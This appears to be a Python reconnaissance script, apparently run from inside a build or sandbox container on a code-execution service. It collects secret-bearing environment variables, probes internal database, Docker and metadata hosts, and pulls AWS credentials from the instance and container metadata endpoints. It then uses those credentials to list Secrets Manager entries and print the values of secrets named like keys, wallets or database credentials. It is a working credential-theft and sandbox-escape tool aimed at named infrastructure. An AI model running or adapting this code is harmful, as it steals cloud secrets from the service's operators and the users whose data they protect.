294 lines
13 KiB
Python
294 lines
13 KiB
Python
import os, sys, json, socket, time, re, hashlib, hmac, datetime, base64, urllib.request, urllib.error, traceback
|
|
|
|
def out(tag, txt, limit=1500):
|
|
try:
|
|
s = re.sub(r'[\r\n]+', ' | ', str(txt))
|
|
print('##%s## %s' % (tag, s[:limit]), flush=True)
|
|
except Exception as e:
|
|
print('##%s## ERR_LPRINT %r' % (tag, e), flush=True)
|
|
|
|
def mask(v):
|
|
v = str(v)
|
|
if len(v) <= 8: return v[:2] + '***'
|
|
return v[:4] + '...(' + str(len(v)) + ')'
|
|
|
|
# ---------- 1. env / proc ----------
|
|
try:
|
|
env = dict(os.environ)
|
|
out('ENV_KEYS', ','.join(sorted(env.keys())))
|
|
for k, v in sorted(env.items()):
|
|
if re.search(r'AWS|CODEBUILD|DATABASE|SECFORGE|TOKEN|SECRET|CRED|PASSWORD|PROXY|VPC|REGION', k, re.I):
|
|
out('ENV:' + k, mask(v) if re.search(r'KEY|SECRET|TOKEN|PASSWORD', k, re.I) else v[:200])
|
|
except Exception as e:
|
|
out('ENV_ERR', repr(e))
|
|
|
|
for p in ['/proc/1/environ', '/proc/self/environ', '/proc/1/cmdline']:
|
|
try:
|
|
raw = open(p, 'rb').read()
|
|
items = [x for x in raw.split(b'\0') if x]
|
|
keep = []
|
|
for it in items:
|
|
s = it.decode('utf-8', 'replace')
|
|
if re.search(r'AWS|CODEBUILD|SECFORGE|DATABASE|TOKEN|SECRET|CRED|PASSWORD', s, re.I):
|
|
if '=' in s:
|
|
k, v = s.split('=', 1)
|
|
keep.append(k + '=' + (mask(v) if re.search(r'KEY|SECRET|TOKEN|PASSWORD', k, re.I) else v[:120]))
|
|
else:
|
|
keep.append(s[:200])
|
|
out('PROCENV:' + p.replace('/proc/', ''), (';'.join(keep)) if keep else ('EMPTY(keys=%d)' % len(items)))
|
|
except Exception as e:
|
|
out('PROCENV:' + p, 'ERR ' + repr(e))
|
|
|
|
for p in ['/etc/hostname', '/etc/resolv.conf', '/etc/hosts', '/proc/self/cgroup', '/proc/1/cgroup']:
|
|
try:
|
|
out('FILE:' + p, open(p).read()[:600])
|
|
except Exception as e:
|
|
out('FILE:' + p, 'ERR ' + repr(e))
|
|
|
|
# ---------- 2. identity / fs probes ----------
|
|
try:
|
|
import platform
|
|
out('UNAME', platform.uname())
|
|
out('UID', '%s euid=%s' % (os.getuid(), os.geteuid()))
|
|
except Exception as e:
|
|
out('UNAME_ERR', repr(e))
|
|
|
|
for d in ['/var/run', '/run', '/root', '/root/.docker', '/var/run/secrets', '/app', '/codebuild', '/tmp']:
|
|
try:
|
|
out('LS:' + d, ','.join(sorted(os.listdir(d))[:40]))
|
|
except Exception as e:
|
|
out('LS:' + d, 'ERR ' + repr(e))
|
|
|
|
for p in ['/root/.docker/config.json', '/var/run/secrets/kubernetes.io/serviceaccount/token', '/var/run/secrets/eks.amazonaws.com/serviceaccount/token']:
|
|
try:
|
|
st = os.stat(p)
|
|
out('STAT:' + p, 'size=%d mode=%o' % (st.st_size, st.st_mode))
|
|
except Exception as e:
|
|
out('STAT:' + p, 'ERR ' + repr(e))
|
|
|
|
try:
|
|
mi = open('/proc/self/mountinfo').read()
|
|
interesting = [l for l in mi.split('\n') if re.search(r'secret|docker|sock|token|aws|kube', l, re.I)]
|
|
out('MOUNTS_INTERESTING', ' || '.join(interesting[:15]))
|
|
except Exception as e:
|
|
out('MOUNTS_ERR', repr(e))
|
|
|
|
# ---------- 3. netns: interfaces, listening sockets ----------
|
|
try:
|
|
nets = os.listdir('/sys/class/net')
|
|
out('NETIF', ','.join(nets))
|
|
for n in nets:
|
|
try:
|
|
mac = open('/sys/class/net/%s/address' % n).read().strip()
|
|
out('NETIF:' + n, 'mac=' + mac)
|
|
except Exception:
|
|
pass
|
|
except Exception as e:
|
|
out('NETIF_ERR', repr(e))
|
|
|
|
def listen_ports():
|
|
res = []
|
|
for f in ['/proc/net/tcp', '/proc/net/tcp6']:
|
|
try:
|
|
lines = open(f).read().split('\n')[1:]
|
|
for l in lines:
|
|
parts = l.split()
|
|
if len(parts) < 4: continue
|
|
if parts[3] != '0A': continue
|
|
local = parts[1]
|
|
ipx, portx = local.split(':')
|
|
port = int(portx, 16)
|
|
if f.endswith('tcp'):
|
|
ip = '.'.join(str(int(ipx[i:i+2], 16)) for i in (6, 4, 2, 0))
|
|
else:
|
|
ip = 'v6'
|
|
res.append('%s:%d' % (ip, port))
|
|
except Exception:
|
|
pass
|
|
return sorted(set(res))
|
|
|
|
try:
|
|
out('LISTEN_SOCKETS', ','.join(listen_ports())[:1500])
|
|
except Exception as e:
|
|
out('LISTEN_ERR', repr(e))
|
|
|
|
def tcp(host, port, timeout=3):
|
|
t0 = time.time()
|
|
try:
|
|
s = socket.create_connection((host, port), timeout=timeout)
|
|
s.close()
|
|
return 'OPEN %.2fs' % (time.time() - t0)
|
|
except Exception as e:
|
|
return 'ERR %r' % (e,)
|
|
|
|
for hp in [('10.255.77.138', 5432), ('10.255.77.138', 3306), ('10.255.77.138', 6379),
|
|
('10.255.147.221', 5432), ('172.20.22.252', 80), ('127.0.0.1', 2375), ('127.0.0.1', 2376),
|
|
('169.254.170.2', 80), ('169.254.169.254', 80), ('172.17.0.1', 2375)]:
|
|
out('TCP:%s:%d' % hp, tcp(*hp))
|
|
|
|
try:
|
|
for name in ['integration-proxy.secforge-integrations', 'integration-proxy.secforge-integrations.svc.cluster.local',
|
|
'sf.ledgerlabs.net', 'stg.sf.ledgerlabs.net', 'secforge-user-projects-db.cnwoiq6284bp.eu-west-3.rds.amazonaws.com',
|
|
'kubernetes.default.svc.cluster.local', 'git.kaki87.net', 'sts.amazonaws.com', 'secretsmanager.eu-west-3.amazonaws.com']:
|
|
try:
|
|
infos = socket.getaddrinfo(name, None)
|
|
ips = sorted(set(i[4][0] for i in infos))
|
|
out('DNS:' + name, ','.join(ips))
|
|
except Exception as e:
|
|
out('DNS:' + name, 'ERR ' + repr(e))
|
|
except Exception as e:
|
|
out('DNS_ERR', repr(e))
|
|
|
|
# ---------- 4. HTTP credential endpoints ----------
|
|
def http(url, method='GET', headers=None, data=None, timeout=3):
|
|
try:
|
|
req = urllib.request.Request(url, data=data, headers=headers or {}, method=method)
|
|
r = urllib.request.urlopen(req, timeout=timeout)
|
|
return r.status, r.read(4000)
|
|
except urllib.error.HTTPError as e:
|
|
try:
|
|
return e.code, e.read(800)
|
|
except Exception:
|
|
return e.code, b''
|
|
except Exception as e:
|
|
return None, repr(e).encode()
|
|
|
|
def show(tag, url, method='GET', headers=None, data=None):
|
|
st, body = http(url, method, headers, data)
|
|
txt = body.decode('utf-8', 'replace') if isinstance(body, bytes) else str(body)
|
|
out('HTTP:' + tag, 'status=%s body=%s' % (st, txt[:800]))
|
|
return st, txt
|
|
|
|
creds = {}
|
|
|
|
def parse_cred(txt, src):
|
|
try:
|
|
j = json.loads(txt)
|
|
except Exception:
|
|
return None
|
|
if not isinstance(j, dict):
|
|
return None
|
|
ak = j.get('AccessKeyId') or j.get('AccessKeyID')
|
|
sk = j.get('SecretAccessKey')
|
|
tk = j.get('Token') or j.get('SessionToken')
|
|
if ak and sk:
|
|
out('CREDS_FOUND', '%s ak=%s exp=%s token_len=%s' % (src, mask(ak), j.get('Expiration'), len(tk or '')))
|
|
return {'ak': ak, 'sk': sk, 'tk': tk, 'exp': j.get('Expiration'), 'src': src}
|
|
return None
|
|
|
|
probes = [
|
|
('ecs170_2_v1', 'http://169.254.170.2/v1/credentials', 'GET', None, None),
|
|
('ecs170_2_v2', 'http://169.254.170.2/v2/credentials', 'GET', None, None),
|
|
('ecs170_2_v2meta', 'http://169.254.170.2/v2/metadata', 'GET', None, None),
|
|
('ecs170_2_root', 'http://169.254.170.2/', 'GET', None, None),
|
|
('ecs170_23_v1', 'http://169.254.170.23/v1/credentials', 'GET', None, None),
|
|
('ecs170_23_pods', 'http://169.254.170.23/v1/pods', 'GET', None, None),
|
|
('ecs170_23_root', 'http://169.254.170.23/', 'GET', None, None),
|
|
('imds_root', 'http://169.254.169.254/latest/meta-data/', 'GET', None, None),
|
|
('imds_creds', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/', 'GET', None, None),
|
|
('imds_ident', 'http://169.254.169.254/latest/dynamic/instance-identity/document', 'GET', None, None),
|
|
('docker2375', 'http://127.0.0.1:2375/version', 'GET', None, None),
|
|
('docker2376', 'http://127.0.0.1:2376/version', 'GET', None, None),
|
|
('proxy_ip_healthz', 'http://172.20.22.252/healthz', 'GET', None, None),
|
|
('proxy_dns_healthz', 'http://integration-proxy.secforge-integrations/healthz', 'GET', None, None),
|
|
('github_net', 'http://git.kaki87.net/', 'GET', None, None),
|
|
]
|
|
for name, url, m, h, d in probes:
|
|
try:
|
|
st, txt = show(name, url, m, h, d)
|
|
c = parse_cred(txt, name)
|
|
if c: creds[name] = c
|
|
except Exception as e:
|
|
out('HTTP:' + name, 'EXC ' + repr(e))
|
|
|
|
# IMDSv2
|
|
try:
|
|
st, body = http('http://169.254.169.254/latest/api/token', 'PUT', {'X-aws-ec2-metadata-token-ttl-seconds': '21600'}, None, timeout=3)
|
|
tok = body.decode('utf-8', 'replace') if isinstance(body, bytes) else ''
|
|
out('HTTP:imdsv2_token', 'status=%s len=%s' % (st, len(tok)))
|
|
if st == 200 and tok:
|
|
hh = {'X-aws-ec2-metadata-token': tok}
|
|
st2, t2 = show('imdsv2_creds', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/', 'GET', hh)
|
|
c = parse_cred(t2, 'imdsv2')
|
|
if c: creds['imdsv2'] = c
|
|
except Exception as e:
|
|
out('HTTP:imdsv2', 'EXC ' + repr(e))
|
|
|
|
# ---------- 5. if creds: sigv4 ----------
|
|
def sign_v4(method, host, path, query, headers, body, service, region, c):
|
|
t = datetime.datetime.utcnow()
|
|
amzdate = t.strftime('%Y%m%dT%H%M%SZ')
|
|
datestamp = t.strftime('%Y%m%d')
|
|
hh = dict(headers)
|
|
hh['host'] = host
|
|
hh['x-amz-date'] = amzdate
|
|
if c.get('tk'):
|
|
hh['x-amz-security-token'] = c['tk']
|
|
lower = {k.lower(): str(v).strip() for k, v in hh.items()}
|
|
signed_headers = ';'.join(sorted(lower))
|
|
canonical_headers = ''.join('%s:%s\n' % (k, lower[k]) for k in sorted(lower))
|
|
ph = hashlib.sha256(body).hexdigest()
|
|
cr = '\n'.join([method, path, query, canonical_headers, signed_headers, ph])
|
|
scope = '%s/%s/%s/aws4_request' % (datestamp, region, service)
|
|
sts = '\n'.join(['AWS4-HMAC-SHA256', amzdate, scope, hashlib.sha256(cr.encode()).hexdigest()])
|
|
def h(k, m): return hmac.new(k, m.encode(), hashlib.sha256).digest()
|
|
kSign = h(h(h(h(('AWS4' + c['sk']).encode(), datestamp), region), service), 'aws4_request')
|
|
sig = hmac.new(kSign, sts.encode(), hashlib.sha256).hexdigest()
|
|
hh['Authorization'] = 'AWS4-HMAC-SHA256 Credential=%s/%s, SignedHeaders=%s, Signature=%s' % (c['ak'], scope, signed_headers, sig)
|
|
return hh
|
|
|
|
def aws_call(c, service, region, host, path, body, extra_headers, tag, timeout=15):
|
|
headers = sign_v4('POST', host, path, '', extra_headers, body, service, region, c)
|
|
try:
|
|
req = urllib.request.Request('https://' + host + path, data=body, headers=headers, method='POST')
|
|
r = urllib.request.urlopen(req, timeout=timeout)
|
|
txt = r.read(6000).decode('utf-8', 'replace')
|
|
out(tag, 'status=%s %s' % (r.status, txt[:1200]))
|
|
return r.status, txt
|
|
except urllib.error.HTTPError as e:
|
|
txt = e.read(2000).decode('utf-8', 'replace')
|
|
out(tag, 'status=%s %s' % (e.code, txt[:800]))
|
|
return e.code, txt
|
|
except Exception as e:
|
|
out(tag, 'EXC ' + repr(e))
|
|
return None, ''
|
|
|
|
if creds:
|
|
cname = list(creds.keys())[0]
|
|
c = creds[cname]
|
|
out('USE_CREDS', cname)
|
|
st, txt = aws_call(c, 'sts', 'us-east-1', 'sts.amazonaws.com', '/',
|
|
b'Action=GetCallerIdentity&Version=2011-06-15',
|
|
{'content-type': 'application/x-www-form-urlencoded'}, 'STS_IDENTITY')
|
|
if st == 200:
|
|
st2, txt2 = aws_call(c, 'secretsmanager', 'eu-west-3', 'secretsmanager.eu-west-3.amazonaws.com', '/',
|
|
b'{}', {'content-type': 'application/x-amz-json-1.1', 'x-amz-target': 'secretsmanager.ListSecrets'}, 'SM_LIST')
|
|
names = []
|
|
if st2 == 200:
|
|
try:
|
|
j = json.loads(txt2)
|
|
for s in j.get('SecretList', []):
|
|
names.append(s.get('Name'))
|
|
out('SM_NAMES', ','.join([n for n in names if n]))
|
|
except Exception as e:
|
|
out('SM_NAMES_ERR', repr(e))
|
|
targets = [n for n in names if n and re.search(r'infra|priv|key|secret|db|cred|token|agent|airlock|paytab|wallet|sign', n, re.I)][:8]
|
|
for t in targets:
|
|
body = json.dumps({'SecretId': t}).encode()
|
|
st3, txt3 = aws_call(c, 'secretsmanager', 'eu-west-3', 'secretsmanager.eu-west-3.amazonaws.com', '/',
|
|
body, {'content-type': 'application/x-amz-json-1.1', 'x-amz-target': 'secretsmanager.GetSecretValue'}, 'SM_GET:' + t, timeout=15)
|
|
if st3 == 200:
|
|
try:
|
|
j = json.loads(txt3)
|
|
sv = j.get('SecretString')
|
|
if sv is None and j.get('SecretBinary'):
|
|
sv = 'BINARY(len=%d)' % len(j['SecretBinary'])
|
|
out('SM_VALUE:' + t, 'len=%s sample=%s' % (len(str(sv or '')), re.sub(r'[\r\n]+', '\\n', str(sv))[:500]))
|
|
except Exception as e:
|
|
out('SM_VALUE:' + t, 'PARSE_ERR ' + repr(e))
|
|
for m in re.finditer(r'(postgres(?:ql)?://[^\s"\']+)', str(txt3)):
|
|
out('SM_DBURL:' + t, m.group(1)[:300])
|
|
else:
|
|
out('NO_CREDS', 'none of the credential endpoints returned usable creds')
|
|
|
|
print('##PROBE_DONE##', flush=True)
|